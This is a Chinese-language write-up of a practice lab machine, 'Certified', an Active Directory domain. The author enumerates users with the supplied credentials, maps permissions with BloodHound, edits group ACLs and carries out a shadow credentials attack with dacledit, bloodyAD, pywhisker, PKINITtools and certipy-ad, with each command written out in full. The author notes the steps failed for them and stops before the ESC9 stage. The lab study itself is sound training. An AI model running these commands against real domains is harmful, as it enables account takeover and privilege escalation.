信息收集
这是一台windows机器,并且开头题目给了一个用户名和密码,还是老规矩先简单扫描下端口然后在详细扫描下系统信息
nmap --min-rate 10000 -p- 10.10.11.41
在来看看详细扫描
nmap -sT -sC -sV -O 10.10.11.41
很明显是一个域环境。
使用给的用户名和密码爆破下域内其他用户
crackmapexec smb certified.htb -u "judith.mader" -p "judith09" --rid-brute | grep SidTypeUser
然后使用bloodhound-python 收集一下域内信息导入bloodhound分析一波
bloodhound-python -u judith.mader -p 'judith09' -c All -d certified.htb -ns 10.10.11.41
搜索下judith.mader用户
该用户对MANAGEMENT组有写的权限
该组对MANAGEMENT_SVC用户拥有GenericWrite权限,可以修改目标安全对象的所有参数,包括对所有属性的修改。
该用户又可以完全控制CA_OPERATOR用户。
shadow credentials attack (影子凭据攻击)
这一连串的权限控制符合影子凭据攻击的利用。具体原理参考:
https://forum.butian.net/share/1607
https://www.freebuf.com/articles/network/331955.html
修改 Management 组的 ACL,授予 judith.mader 用户 FullControl 权限,使其能够管理该组的成员
python3 dacledit.py -action write -rights 'FullControl' -principal judith.mader -target management -inheritance -dc-ip 10.10.11.41 certified.htb/judith.mader:judith09 -use-ldaps
然后把自己加入到该组
bloodyAD --host 10.10.11.41 -d 'certified.htb' -u 'judith.mader' -p 'judith09' add groupMember "Management" "judith.mader"
之后就是影子凭据攻击了
可以使用 pywhisker.py 工具进行 Kerberos 认证绕过操作,并且通过修改目标对象的 msDS-KeyCredentialLink 属性来生成并存储与目标相关的证书和密钥
python pywhisker.py -d "certified.htb" -u "judith.mader" -p judith09 --target management_svc --action add
然后请求获取 management_svc 的 TGT 票据,如果报错需要使用 ntpdate 同步时区
使用 PKINITtools 中的 gettgtpkinit.py 脚本来请求一个 Kerberos TGT(Ticket Granting Ticket),并且使用了之前生成的证书和密钥
python gettgtpkinit.py -cert-pfx ../pywhisker/pywhisker/oigNgAOY.pfx -pfx-pass F7ddKVbzqkaPtLgqVxFX certified.htb/management_svc hhh.ccache
使用 PKINITtools 中的 getnthash.py 脚本,通过已经获得的 TGT 来请求并恢复 management_svc 账户的 NT hash
1 | export KRB5CCNAME=/home/kali/Certified/PKINITtools/hhh.ccache |
以上这些操作我在arm和x86版本的kali中都不太行,不知道为什么,也可能是靶机的原因,先记录下大佬的payload和思路。这里还可以利用certipy-ad工具进行利用
certipy-ad shadow auto -account management_svc -u judith.mader@certified.htb -p judith09 -dc-ip 10.10.11.41
后面就是一个ecs9的利用,这个靶机先到这吧回头有时间再看看吧。